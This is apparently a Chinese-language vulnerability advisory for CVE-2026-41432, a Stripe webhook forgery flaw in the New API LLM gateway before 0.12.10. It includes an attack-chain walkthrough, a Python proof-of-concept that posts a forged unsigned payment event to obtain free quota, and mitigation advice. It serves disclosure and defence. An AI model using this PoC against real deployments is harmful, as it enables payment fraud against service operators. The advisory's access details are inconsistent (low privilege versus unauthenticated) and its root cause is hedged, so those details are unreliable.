CVE-2026-41432 New API Webhook伪造漏洞

漏洞信息

漏洞编号

CVE-2026-41432

漏洞类型

业务逻辑漏洞

CVSS评分

7.1 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

New API

漏洞概述

New API是一个大型语言模型（LLM）网关和人工智能（AI）资产管理系统。在0.12.10版本之前，该系统的Stripe webhook处理程序存在安全漏洞。攻击者可利用此漏洞伪造webhook事件，在未进行实际支付的情况下，向自身账户非法增加任意配额。该漏洞允许未认证攻击者绕过支付逻辑，严重影响系统的计费完整性。官方已在0.12.10版本中修复此问题。

技术细节

该漏洞源于New API对Stripe webhook事件的验证机制存在缺陷。Stripe Webhook通常通过HTTP头中的签名进行验证，以确保请求来源于Stripe官方。在受影响版本中，验证逻辑存在漏洞（如签名校验缺失或实现错误），导致攻击者可以构造伪造的HTTP请求，模拟成功的支付事件。攻击者无需进行真实支付操作，即可直接向API端点发送精心构造的数据包。由于系统未能正确校验签名，系统错误地接受了伪造的支付通知，从而更新用户账户余额，导致业务逻辑被破坏。

攻击链分析

STEP 1

侦察

识别目标New API系统，确认其使用了Stripe作为支付网关并启用了webhook自动充值功能。

STEP 2

构造攻击载荷

攻击者构造一个JSON数据包，模拟Stripe的payment_intent.succeeded事件，并在metadata中指定要充值的攻击者账户ID及金额。

STEP 3

发送伪造请求

攻击者直接向New API的webhook接收端点发送HTTP POST请求，传递伪造的事件数据。

STEP 4

绕过验证

由于漏洞存在，系统未能正确验证请求的Stripe签名，直接信任了传入的数据。

STEP 5

执行利用

系统处理伪造的支付成功通知，自动增加攻击者账户的API调用配额。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import json

# Target URL (Replace with actual target)
target_url = "http://target-url/api/stripe/webhook"

# Forge a Stripe payment success event payload
payload = {
    "id": "evt_1234567890",
    "type": "payment_intent.succeeded",
    "data": {
        "object": {
            "id": "pi_1234567890",
            "amount": 100000,  # Amount in cents (e.g., $1000.00)
            "currency": "usd",
            "metadata": {
                "user_id": "attacker_user_id" # Target user ID to credit
            }
        }
    }
}

# In a vulnerable version, signature verification might be missing or bypassable
headers = {
    "Content-Type": "application/json"
}

try:
    response = requests.post(target_url, data=json.dumps(payload), headers=headers)
    if response.status_code == 200:
        print("[+] Webhook sent successfully. Check account balance.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[!] Error: {e}")

影响范围

New API < 0.12.10

防御指南

临时缓解措施

建议立即升级到修复版本。若暂时无法升级，应在WAF或反向代理层限制webhook端点仅允许Stripe官方IP访问，并暂时关闭自动充值功能，转为人工审核充值。